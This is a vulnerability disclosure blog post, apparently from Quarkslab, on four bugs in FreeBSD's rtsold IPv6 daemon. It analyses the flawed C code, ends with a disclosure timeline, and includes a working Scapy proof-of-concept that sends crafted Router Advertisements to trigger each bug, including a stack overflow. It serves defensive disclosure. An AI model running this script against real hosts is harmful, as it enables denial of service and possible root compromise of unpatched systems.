This blog post provides details about four vulnerabilities we found in the IPv6 stack of FreeBSD, more specifically in rtsold(8), the router solicitation daemon. The bugs affected all supported versions of FreeBSD, and the most severe of them could allow an attacker attached to the same physical link to gain remote code execution as root on vulnerable systems. The vulnerabilities were discovered and reported to FreeBSD Security Team in November 2020. FreeBSD issued fixes for these bugs on December 1st, 2020 along with security advisory FreeBSD-SA-20:32.rtsold.
Introduction
On October 13th, 2020, Microsoft published a security patch addressing a remote code execution vulnerability, known as CVE-2020-16898 or "Bad Neighbor", affecting the IPv6 stack of Windows. The issue was caused by improper handling of Router Advertisement messages (which are part of the Neighbor Discovery protocol) containing a malformed RDNSS option.
Three days after, we published a blog post with our analysis and proof-of-concept for that vulnerability.
After that, it was natural that we would check for security issues in the handling of Router Advertisement messages on other IPv6 implementations. This article describes the vulnerabilities we found on rtsold, the daemon that deals with this kind of messages on FreeBSD.
Handling of Router Advertisement messages on FreeBSD
Router Advertisement (RA for short) is one of the message types of the Neighbor Discovery (ND) protocol, which is part of the IPv6 protocol stack. Router Advertisement messages are sent by routers to advertise their presence, together with various link and Internet parameters.
RA packets can contain a variable number of options, such as DNS Search List option (DNSSL) or Recursive DNS Server option (RDNSS).
On FreeBSD, handling of Router Advertisement messages is performed by a user-mode daemon, namely rtsold(8). This daemon sends Router Solicitation messages and parses the received Router Advertisement answers. Interestingly, rtsold runs automatically when a network interface is up after being (re)attached to a link, including at system start up.
Vulnerability #1 - Infinite loop in function rtsol_input()
The rtsol_input() function in usr.sbin/rtsold/rtsol.c is in charge of parsing the received Router Advertisement messages. A loop is used to process the options included in the RA message:
237 void 238 rtsol_input(int s) 239 { [...] 393 #define RA_OPT_NEXT_HDR(x) (struct nd_opt_hdr *)((char *)x + \ 394 (((struct nd_opt_hdr *)x)->nd_opt_len * 8)) 395 /* Process RA options. */ 396 warnmsg(LOG_DEBUG, __func__, "Processing RA"); 397 raoptp = (char *)icp + sizeof(struct nd_router_advert); 398 while (raoptp < (char *)icp + msglen) { 399 ndo = (struct nd_opt_hdr *)raoptp; 400 warnmsg(LOG_DEBUG, __func__, "ndo = %p", raoptp); 401 warnmsg(LOG_DEBUG, __func__, "ndo->nd_opt_type = %d", 402 ndo->nd_opt_type); 403 warnmsg(LOG_DEBUG, __func__, "ndo->nd_opt_len = %d", 404 ndo->nd_opt_len); 405 406 switch (ndo->nd_opt_type) { 407 case ND_OPT_RDNSS: [...] 483 case ND_OPT_DNSSL: [...] 542 default: 543 /* nothing to do for other options */ 544 break; 545 } 546 raoptp = (char *)RA_OPT_NEXT_HDR(raoptp);
The RA_OPT_NEXT_HDR macro at line 393 is used to advance a pointer to the next option in the RA message; it adds the length field of the current option multiplied by 8 to the given pointer. The loop at line 398 iterates over the packet, as long as the raoptp pointer hasn't reached the end of the packet. At the end of the loop at line 546, the raoptp pointer is updated by using the RA_OPT_NEXT_HDR macro. However, the code doesn't handle the case where the length field of an option is 0. In that case, the raoptp pointer will never get advanced at line 546, resulting in an infinite loop.
Vulnerability #2 - Out-of-bounds read when parsing RDNSS options in rtsol_input()
The rtsol_input() function in usr.sbin/rtsold/rtsol.c loops through the options included in a Router Advertisement message. One of the supported option types is called Recursive DNS Server, or RDNSS for short. The RDNSS option is composed of 4 fixed fields (Type, Length, Reserved and Lifetime), followed by a variable number of IPv6 addresses of recursive DNS servers, as shown in the diagram below:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Length | Reserved | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Lifetime | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | : Addresses of IPv6 Recursive DNS Servers : | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
When dealing with a RDNSS option, the following code is hit:
237 void 238 rtsol_input(int s) 239 { [...] 406 switch (ndo->nd_opt_type) { 407 case ND_OPT_RDNSS: 408 rdnss = (struct nd_opt_rdnss *)raoptp; 409 410 /* Optlen sanity check (Section 5.3.1 in RFC 6106) */ 411 if (rdnss->nd_opt_rdnss_len < 3) { 412 warnmsg(LOG_INFO, __func__, 413 "too short RDNSS option" 414 "in RA from %s was ignored.", 415 inet_ntop(AF_INET6, &from.sin6_addr, 416 ntopbuf, sizeof(ntopbuf))); 417 break; 418 } 419 420 addr = (struct in6_addr *)(void *)(raoptp + sizeof(*rdnss)); 421 while ((char *)addr < (char *)RA_OPT_NEXT_HDR(raoptp)) { 422 if (inet_ntop(AF_INET6, addr, ntopbuf, 423 sizeof(ntopbuf)) == NULL) { 424 warnmsg(LOG_INFO, __func__, 425 "an invalid address in RDNSS option" 426 " in RA from %s was ignored.", 427 inet_ntop(AF_INET6, &from.sin6_addr, 428 ntopbuf, sizeof(ntopbuf))); 429 addr++; 430 continue; 431 }
At line 420, the addr pointer is set to point past the 4 fixed fields of the RNDSS option, that is, it points to the beginning of the variable number of IPv6 addresses included in the RDNSS option. Then, at line 421, it loops over the IPv6 addresses in the RDNSS option, reading a 16-byte IPv6 address from the option data at each iteration, as long as the addr pointer doesn't reach the end of the option, which is calculated by using the RA_OPT_NEXT_HDR macro.
Notice that the loop condition at line 421 blindly trusts the length field of the RDNSS option (used by the RA_OPT_NEXT_HDR macro), without checking if raoptp + length * 8 is within the bounds of the packet. As a result, by sending a Router Advertisement message containing a RDNSS option with a large length field, it is possible to make the rtsol_input() function read data beyond the end of the packet.
Vulnerability #3 - Out-of-bounds write when parsing DNSSL options in rtsol_input()
The rtsol_input() function in usr.sbin/rtsold/rtsol.c loops through the options included in a Router Advertisement message. One of the supported option types is called DNS Search List, or DNSSL for short, which has the following format:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Length | Reserved | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Lifetime | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | : Domain Names of DNS Search List : | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
When dealing with a DNSSL option, the following code is hit:
237 void 238 rtsol_input(int s) 239 { [...] 406 switch (ndo->nd_opt_type) { [...] 483 case ND_OPT_DNSSL: 484 dnssl = (struct nd_opt_dnssl *)raoptp; 485 486 /* Optlen sanity check (Section 5.3.1 in RFC 6106) */ 487 if (dnssl->nd_opt_dnssl_len < 2) { 488 warnmsg(LOG_INFO, __func__, 489 "too short DNSSL option" 490 "in RA from %s was ignored.", 491 inet_ntop(AF_INET6, &from.sin6_addr, 492 ntopbuf, sizeof(ntopbuf))); 493 break; 494 } 495 496 /* 497 * Ensure NUL-termination in DNSSL in case of 498 * malformed field. 499 */ 500 p = (char *)RA_OPT_NEXT_HDR(raoptp); 501 *(p - 1) = '\0';
At lines 500 and 501, the code attempts to ensure that the domain name included in the DNSSL option ends with a NULL byte. In order to calculate the address of the last byte of this option, it obtains the address of the next option by using the RA_OPT_NEXT_HDR macro, then subtracts 1 from it. Finally, it writes a 0 to that position.
Notice that when doing this calculation, the length field of the DNSSL option is blindly trusted (it is used by the RA_OPT_NEXT_HDR macro), without checking if raotp + length * 8 is within the bounds of the packet. As a result, by sending a Router Advertisement message containing a DNSSL option with a large length field, it is possible to make the rtsol_input() function write a NULL byte beyond the end of the packet.
Vulnerability #4 - Buffer overflow when decoding a domain name in dname_labeldec()
Domain names included in a DNSSL option are encoded as a sequence of labels, with each label being represented as a one-byte length field followed that number of bytes, as specified in section 3.1 of RFC 1035. A domain name is terminated by a length byte of zero.
When processing DNSSL options, the rtsol_input() function calls dname_labeldec() in order to decode a domain name.
914 /* Decode domain name label encoding in RFC 1035 Section 3.1 */ 915 static size_t 916 dname_labeldec(char *dst, size_t dlen, const char *src) 917 { 918 size_t len; 919 const char *src_origin; 920 const char *src_last; 921 const char *dst_origin; 922 923 src_origin = src; 924 src_last = strchr(src, '\0'); 925 dst_origin = dst; 926 memset(dst, '\0', dlen); 927 while (src && (len = (uint8_t)(*src++) & 0x3f) && 928 (src + len) <= src_last && 929 (dst - dst_origin < (ssize_t)dlen)) { 930 if (dst != dst_origin) 931 *dst++ = '.'; 932 warnmsg(LOG_DEBUG, __func__, "labellen = %zd", len); 933 memcpy(dst, src, len); 934 src += len; 935 dst += len; 936 } 937 *dst = '\0'; 938 939 /* 940 * XXX validate that domain name only contains valid characters 941 * for two reasons: 1) correctness, 2) we do not want to pass 942 * possible malicious, unescaped characters like `` to a script 943 * or program that could be exploited that way. 944 */ 945 946 return (src - src_origin); 947 }
The loop in dname_labeldec() at line 927 iterates over the labels composing the domain name, copying them to the dst destination buffer. Some sanity checks are performed in this loop: at line 928 it verifies that the length of a label is within the bounds of the domain name, and at line 929 it checks if the amount of data written so far to the destination buffer is less than the size of the destination buffer.
However, it doesn't check if the remaining space in the destination buffer is large enough to hold the len bytes of a label. As a result, by sending a Router Advertisement message containing a DNSSL option with a specially crafted domain name, it is possible to trigger a stack-based buffer overflow in the dname_labeldec() function.
The destination buffer is a variable that is local to function rtsol_input(), with a size of NI_MAXHOST (1025) bytes:
237 void 238 rtsol_input(int s) 239 { [...] 258 char dname[NI_MAXHOST]; [...] 504 while (1 < (len = dname_labeldec(dname, sizeof(dname), 505 p))) { [...]
As specified in section 3.1 of RFC 1035, each label in a domain name can have a maximum length of 63 bytes. When decoding a domain name composed of 16 labels of 63 bytes, it will take 16 * 63 + 15 == 1023 bytes in the destination buffer, which is just 2 bytes less than the destination size. If such a domain name happened to have one more label of 63 bytes, it would pass the incomplete check in dname_labeldec() at line 929 (since 1023 < 1025, i.e. the amount of data written so far is less than the size of the destination buffer), and it would just copy the 63 bytes of this label to the destination buffer, even if the remaining space in it is just 2 bytes, effectively triggering a buffer overflow in the stack.
Proof of Concept
The following Python code, based on Scapy, provides a proof-of-concept for the 4 bugs described above. It was tested against FreeBSD 12.1-RELEASE-p10. It expects two arguments: the IPv6 address of the target FreeBSD system, followed by an integer in the range [1, 4] indicating which one of the 4 vulnerabilities will be triggered on the target.
This PoC uses the sniff() function in Scapy in order to wait for Router Solicitation (RS) packets; once a RS packet is captured, if the IPv6 source address of such RS matches the target address, then a crafted Router Advertisement message is sent to that address in order to trigger the specified vulnerability.
import os import sys import string from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6ND_RS, ICMPv6NDOptRDNSS, ICMPv6NDOptDNSSL from scapy.all import send, sniff # BUG 01 def infinite_loop(target_addr): ip = IPv6(dst = target_addr, hlim = 255) ra = ICMPv6ND_RA() rdnss = ICMPv6NDOptRDNSS(lifetime=300, dns=["4141:4141:4141:4141:4141:4141:4141:4141"]) # This causes the bug rdnss.len = 0 pkt = ip/ra/rdnss send(pkt) # BUG 02 def rdnss_oob_read(target_addr): ip = IPv6(dst = target_addr, hlim = 255) ra = ICMPv6ND_RA() rdnss = ICMPv6NDOptRDNSS(lifetime=300, dns=["4141:4141:4141:4141:4141:4141:4141:4141"]) # This causes the bug rdnss.len = 0xff pkt = ip/ra/rdnss send(pkt) # BUG 03 def dnssl_oob_write(target_addr): ip = IPv6(dst = target_addr, hlim = 255) ra = ICMPv6ND_RA() dnssl = ICMPv6NDOptDNSSL(lifetime=300, searchlist=["bug03.example"]) # This causes the bug dnssl.len = 0xff pkt = ip/ra/dnssl send(pkt) def build_domain_name(): CHUNKS = 1024 // 0x3f subdomains = [] for i in range(CHUNKS): subdomains.append(string.ascii_lowercase[i] * 0x3f) domain = '.'.join(subdomains) print('len(domain) at the penultimate sub-domain: {}'.format(len(domain))) # this last part overflows the buffer domain += '.' + 'x' * 0x3f print('final len(domain) to trigger the overflow: {}'.format(len(domain))) return domain # BUG 04 def dnssl_buffer_overflow(target_addr): ip = IPv6(dst = target_addr, hlim = 255) ra = ICMPv6ND_RA() dnssl = ICMPv6NDOptDNSSL(lifetime=300, searchlist=[build_domain_name()]) pkt = ip/ra/dnssl send(pkt) def main(target_addr, bug_id): bugs = [infinite_loop, rdnss_oob_read, dnssl_oob_write, dnssl_buffer_overflow] while True: print('Waiting for ICMPv6ND_RS packets...') rs = sniff(count=1, lfilter=lambda pkt: pkt.haslayer(ICMPv6ND_RS))[0] print('Received Router Solicitation message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst)) if rs[IPv6].src == target_addr: print('Triggering bug #{}'.format(bug_id)) bugs[bug_id - 1](target_addr) def show_help_and_exit(): print('Usage: {} <target_addr> <bug_id>'.format(os.path.split(sys.argv[0])[1])) print('(where bug_id is a number in the range [1-4])') sys.exit(1) if __name__ == '__main__': if len(sys.argv) > 2: target_addr = sys.argv[1] bug_id = sys.argv[2] else: show_help_and_exit() try: bug_id = int(bug_id) except ValueError: show_help_and_exit() if bug_id not in range(1,5): show_help_and_exit() main(target_addr, bug_id)
Disclosure Timeline
- November 10, 2020: Vulnerabilities reported to the FreeBSD Security Team.
- November 10, 2020: FreeBSD Security Team acknowledges receiving the report, and asks if there are other affected operating systems that need to be involved in coordination. Quarkslab responds that the reported issues only affect FreeBSD.
- November 23, 2020: Quarkslab asks for an update on the status of the reported vulnerabilities.
- November 24, 2020: FreeBSD Security Team confirms that they were able to reproduce the bugs, and that they plan to release fixes for them the next week. Quarkslab informs its plans to publish a blog post afterwards.
- December 1, 2020: FreeBSD Security Team informs that they will publish a security advisory and fixes shortly, and that CVE-2020-25577 has been allocated for it.
- December 1, 2020: Quarkslab asks if FreeBSD will use the same CVE ID for all of the 4 bugs, or if only one of the bugs is being fixed (and if so, which one).
- December 1, 2020: FreeBSD Security Team answers that CVE-2020-25577 has been allocated for the entire patchset for now, and that they may later evaluate if additional CVEs need to be allocated.
- December 1, 2020: FreeBSD publishes security advisory FreeBSD-SA-20:32.rtsold.
- January 28, 2021: Quarkslab publishes its blog post.
Conclusions
The rtsold(8) user-mode daemon in FreeBSD was prone to 4 vulnerabilities, including a stack-based buffer overflow, when parsing malicious Router Advertisement messages. These vulnerabilities affected all supported versions of FreeBSD, and the most severe of them could allow an attacker attached to the same physical link to gain remote code execution as root.
FreeBSD promptly issued fixes for these vulnerabilities. Interestingly, as stated in the FreeBSD security advisory, in FreeBSD 12.2 rtsold(8) runs in a Capsicum sandbox, limiting the impact of a compromised rtsold process.